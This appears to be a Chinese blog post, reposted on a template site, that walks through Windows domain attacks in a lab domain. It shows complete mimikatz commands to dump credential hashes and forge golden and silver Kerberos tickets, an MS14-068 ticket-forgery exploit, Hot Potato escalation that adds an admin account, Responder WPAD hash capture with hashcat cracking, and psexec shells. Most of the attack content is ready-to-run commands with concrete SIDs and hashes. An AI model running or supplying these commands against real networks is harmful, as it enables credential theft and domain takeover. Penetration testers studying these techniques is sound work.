更新KB2871997后,发现无法使用常规的哈希传递方法进行横向移动,但Administrator账号(SID为500)例外-----使用该账号的散列值依然可以进行哈希传递。这里强调的是SID为500的账号,在一些计算机中,即使将Administator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行横向移动,就不会受到KB2871997的影响。

黄金票据攻击

所需条件

1、域名称
2、域的SID值
3、域的KRBTGT账号的HASH
4、伪造任意用户名
(获取域的SID和KRBTGT账号的NTLM HASH的前提是需要已经拿到了域的权限)
mimikatz.exe "privilege::debug" "lsadump::lsa /patch" exit > 1.txt
#获取krbtgt的ntlm

内网渗透一周目通关

whoami /all获取sid,最后一段"-1001"去掉

内网渗透一周目通关

mimikatz.exe "kerberos::golden /user:haha /domain:kaeiy.com /sid:S-1-5-21-690132841-1391383167-2594731052 /krbtgt:aa7b527de7b1e26f1fb7e426adb70f37 /ptt" exit

#替换相应参数执行命令

 通过klist命令发现本地已经存在凭据

内网渗透一周目通关

 通过命令发现可以成功访问c盘

内网渗透一周目通关

 使用psexec连接shell,添加用户即可

psexec.exe \\WIN-7GG3FBI4S9R.kaeiy.com cmd.exe

白银票据攻击

所需条件

1.域名
2.域sid
3.目标服务器名
4.可利用的服务
5.服务账号的NTML HASH 
6.需要伪造的用户名

获取域控hash

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 2.txt

内网渗透一周目通关

 获取sid

内网渗透一周目通关

执行命令注入白银票据

mimikatz.exe  "kerberos::golden  /user:xyz  /domain:kaeiy.com /sid:S-1-5-21-690132841-1391383167-2594731052  /target:WIN-7GG3FBI4S9R.kaeiy.com /service:cifs /rc4:faaf63a0bb5b15ca7531262f9c741cd1 /ptt" exit

内网渗透一周目通关

ms14-068 漏洞利用

我们可以利用这个漏洞来进行票据伪造

远程权限提升漏洞存在于 Microsoft Windows 的 Kerberos KDC 实现中。存在该漏洞的症状是,Microsoft Kerberos KDC 实现无法正确验证签名,这可能造成 Kerberos 服务票证的某些方面被人伪造。简单来说就是一个域内的普通账户可以利用此漏洞进行权限提升,升级为域管理员权限。

具备条件

1、任意域账户
2、域账户密码
3、SID
4、域控服务器IP
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>

将我们sid和账号密码填写,运行生成票据

ms14-068.exe -u haha@kaeiy.com -p 123.com  -s S-1-5-21-690132841-1391383167-2594731052-1111 -d WIN-7GG3FBI4S9R.kaeiy.com

内网渗透一周目通关

 利用mimikatz导入票据

内网渗透一周目通关

 成功连接

内网渗透一周目通关

热土豆提权

下载地址

https://github.com/foxglovesec/Potato
Potato.exe -ip 自身ip -disable_exhaust true -cmd "C:\Windows\System32\cmd.exe /K net user potato 123.com /add &&net localgroup administrators potato /add

成功添加一个administrator的账户

内网渗透一周目通关

Responder -WPAD 提权

Responder下载地址:https://github.com/lgandx/Responder

浏览器默认自动检测代理设置如下,当目标访问某个网站时,利用kali伪造代理主机,要求目标机器提供hash,kali抓取此hash

内网渗透一周目通关

 responder -I eth0 #Responder会启动80端口,用之前关闭80服务 /etc/init.d/apache2 stop

当目标访问任意网站,抓取hash

内网渗透一周目通关

hashcat -m 5600 hash.txt -a 0 pass.txt --force

#5600>NTLM加密协议 

内网渗透工具

Empire

下载地址:•https://github.com/EmpireProject/Empire 

安装:sudo ./setup/install.sh

或者  sudo apt install powershell-empire文章来源地址https://www.toymoban.com/news/detail-494052.html

遇到瓶颈了先写到这

到了这里,关于内网渗透一周目通关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [渗透测试]—7.3 内网渗透和提权技术

    在本章节中,我们将学习内网渗透和提权技术。我们会尽量详细、通俗易懂地讲解,并提供尽可能多的实例。 内网渗透是指攻击者在成功进入目标网络后,对内部资源进行横向渗透以获取更多权限和信息的过程。内网渗透测试的目的是发现网络内部存在的安全漏洞和风险,以

    2024年02月11日
    浏览(87)
  • 内网渗透靶场02----Weblogic反序列化+域渗透

     网络拓扑:                  利用 kscan工具 ,针对192.168.111.0/24 C段开展端口扫描,发现2台存活主机,具体如下图所示:                 192.168.111.80  开放 80、445、3389、7001 端口。                 192.168.111.201 开放 3389、445 端口 根据上述端口发放情况

    2024年02月19日
    浏览(36)
  • web渗透、内网渗透,6个月以来的学习感受

    2022年5月,正式认识了网安这个行业,而此时的我已经34岁了,有自己的本职工作,出于浓厚的兴趣,上班之余开始了我的网安学习之路。 一、我的学习渠道: 1、花钱报班 报的哪个教育机构就不说了,现成的资料、渗透工具和网络视频教程学习起来方便,肯定比盲目的自学

    2024年02月04日
    浏览(47)
  • 内网渗透解析

    阅读本文前需要先搞懂NAT、PAT、端口映射几个概念,内网宽带中的主机可以访问公网宽带主机,反之不可以访问;公网宽带主机可以和公网宽带主机双向访问;内网宽带中的主机和内网宽带中的主机互相无法访问。那么内网宽带中的客户机和公网宽带中的客户机如何访问另一

    2024年02月11日
    浏览(32)
  • 内网渗透---ms14068

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 ms14-068漏洞主要通过伪造域管的TGT,将普通用户权限提权为域管权限,以此来控制域控。只要服务器未打ms14-068补丁(KB3011780),在server 2000以上的域控服务器中,都可进行利用。 1、获取域普通用户的账

    2024年02月06日
    浏览(31)
  • 内网渗透实战攻略

    🌈个人主页:  Aileen_0v0 🔥热门专栏:  华为鸿蒙系统学习 | 计算机网络 | 数据结构与算法 💫个人格言: \\\"没有罗马,那就自己创造罗马~\\\" 目录 介绍 什么是内网? 什么是内网渗透? 内网渗透的目的: 内网渗透常规流程: 内网渗透技术 内网渗透技术学习 读者对象 如何阅读一本

    2024年02月02日
    浏览(47)
  • 内网渗透—隧道技术

      在进行渗透测试以及攻防演练的时候,通常会存在各种边界设备、软硬件防火墙、IPS等设备来检测外部连接情况,这些设备如果发现异常,就会对通信进行阻断。   那么隧道技术就是一种绕过端口屏蔽的通信方式,在实际情况中防火墙上会设定各种安全策略,比如允许

    2024年02月08日
    浏览(51)
  • 《WEB安全渗透测试》(37) 内网渗透神器:fscan使用攻略

    Fscan是一款内网综合扫描工具,它非常的方便,一键启动,之后完全自动化、并且全方位漏洞扫描。它支持主机存活探测、端口扫描、常见服务的爆破、ms17010、redis批量写公钥、计划任务反弹shell、读取win网卡信息、web指纹识别、web漏洞扫描、netbios探测、域控识别等功能。 这

    2024年02月13日
    浏览(40)
  • 内网渗透代理知识以及渗透某CTF三层靶机实例

            在学习完小迪内网代理安全知识后,自己也找来了案例中的CTF比赛中三层靶机,来总结一下内网代理知识。实验中成功拿到三个flag,话不多说,现在就开始。 文章目录 前言 一、 内网代理知识 二 、CTF三层靶机实例 1. 靶机拓补图 2. 攻击目标1 3.添加路由 4.开启代

    2024年02月03日
    浏览(37)
  • 红日内网渗透靶场2

    目录   环境搭建: Web渗透: weblogic漏洞利用 java反序列化漏洞利用、哥斯拉获取shell 上线msf msf派生shell到cs 内网信息收集 mimikatz获取用户密码 cs横向移动 PTT攻击(票据传递) 方法2:通过msf利用永恒之蓝以及3389端口 上线cs cs派生shell给msf fscan扫描内网 frp搭建socks5隧道代理 永

    2024年01月21日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包